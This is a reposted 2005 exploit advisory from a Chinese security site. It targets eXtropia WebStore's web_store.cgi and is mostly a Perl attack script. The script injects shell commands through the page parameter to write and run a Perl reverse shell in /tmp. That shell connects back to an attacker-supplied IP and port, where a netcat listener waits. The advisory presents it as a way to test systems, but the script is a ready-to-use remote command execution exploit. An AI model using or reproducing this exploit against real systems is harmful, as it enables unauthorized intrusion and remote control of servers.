首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
eXtropia WebStore Remote Command Execution
来源:www.ashiyane.com 作者:sun-os 发布时间:2005-06-22  

eXtropia WebStore Remote Command Execution (web_store.cgi)

Summary
"WebStore merges both the Electronic Outlet HTML and Database versions and adds all new routines for error handling, order processing, encrypted mailing, frames, Javascript and VBscript and other goodies."

WebStore is vulnerable to a remote command execution, exploiting this vulnerability allows malicious remote attacker to execute arbitrary code on vulnerable system, the following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by SegmentationFault Group.

Details
#!/usr/bin/perl -w
#
#**********************************************
# Remote Command Execution Vulnerability In Web_store.cgi *
# *
# [SegmentationFault Group] *
# *
# *
# Greetz to : Xsupr3mo - failed - Status-x - Stealh - P3S4D3L0 *
# Greetz to : berhooz - nima - ehsan - Unknown OutLaw eutanasia *
# www.ashiyane.com *
# *
#**********************************************
#ok setp by setp to work : * *
#[*] start exploit * If connect back shell not found: maybe :*
#[*] run in your system: nc -l -vv -p 2975 * you do not have perm to write in /tmp *
#[*] starting connect back on 127.0.0.1 :2975 * Shell not vulnerable *
#[*] DONE! * test and put in /$path/hints.pl?|cd /tmp*
#[*] Look netcat windows * other path that u know dont have perm *
# * *
#**********************************************
###############################################
use IO::Socket;

print "*********************************\n";
print "\tRemote Command Execution Vulnerability in web_store.cgi\n ";
print "\t\t-=[ SegmentationFault Group ]=-\n";
print "\t\tcode writen by sun-os [ActionSpider]\n\n";
print "\tGerttz to : Xsupr3mo - failed - Status-x - Stealh";
print "\n\tand : Behrooz - nima - ehsan www.ashiyane.com\n";
print "*********************************\n\n";


print "enter hostname or ip : \n";
chomp($server=<STDIN>);

print "port: (default: 80)\n";
chomp($port=<STDIN>);
$port=80 if ($port =~/\D/ );
$port=80 if ($port eq "" );

print "path: (???/web_store.cgi?)\n";
chomp($path=<STDIN>);

print "your ip (for reverse connect): \n";
chomp($ip=<STDIN>);

print "your port (for reverse connect): \n";
chomp($reverse=<STDIN>);

print "ok Remote Command Execution now Start";
print "|+| try to exploiting...\n";

$string="/$path/web_store.cgi?page=.html|cd /tmp;echo ".q{use Socket;$execute= 'echo "`uname -a`";echo "`id`";/bin/sh';$target=$ARGV[0];$port=$ARGV[1];$iaddr=inet_aton($target) || die("Error: $!\n");$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");$proto=getprotobyname('tcp');socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");connect(SOCKET, $paddr) || die("Error: $!\n");open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET");system($execute);close(STDIN)}." >>dc.pl;perl dc.pl $ip $reverse|";

print "|+| OK! \n";
print "|+| NOW, run in your system: nc -l -vv -p $reverse\n";
print "|+| starting connect back on $ip :$reverse\n";
print "|+| DONE!\n";
print "|+| Look netcat windows\n\n";
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => tcp)
or die;

print $socket "POST $path HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "User-Agent: blackbox\n";
print $socket "Pragma: no-cache\n";
print $socket "Cache-Control: no-cache\n";
print $socket "Connection: close\n\n";

print "have nice shell...";



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ultimate PHP Board Password Ha
·PeerCast <= 0.1211 HTTP Req
·Claroline E-Learning Applicati
·phpBB Multiple User Registerat
·WordPress <= 1.5.1.1 cat_id
·Simple Machine Forum SQL Injec
·Mambo user_rating Parameter Re
·Microsoft Server Message Block
·Forum Russian Board SQL Inject
·Microsoft Outlook Express NNTP
·Microsoft Windows Plug and Pla
·Veritas Backup Exec Agent CONN
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved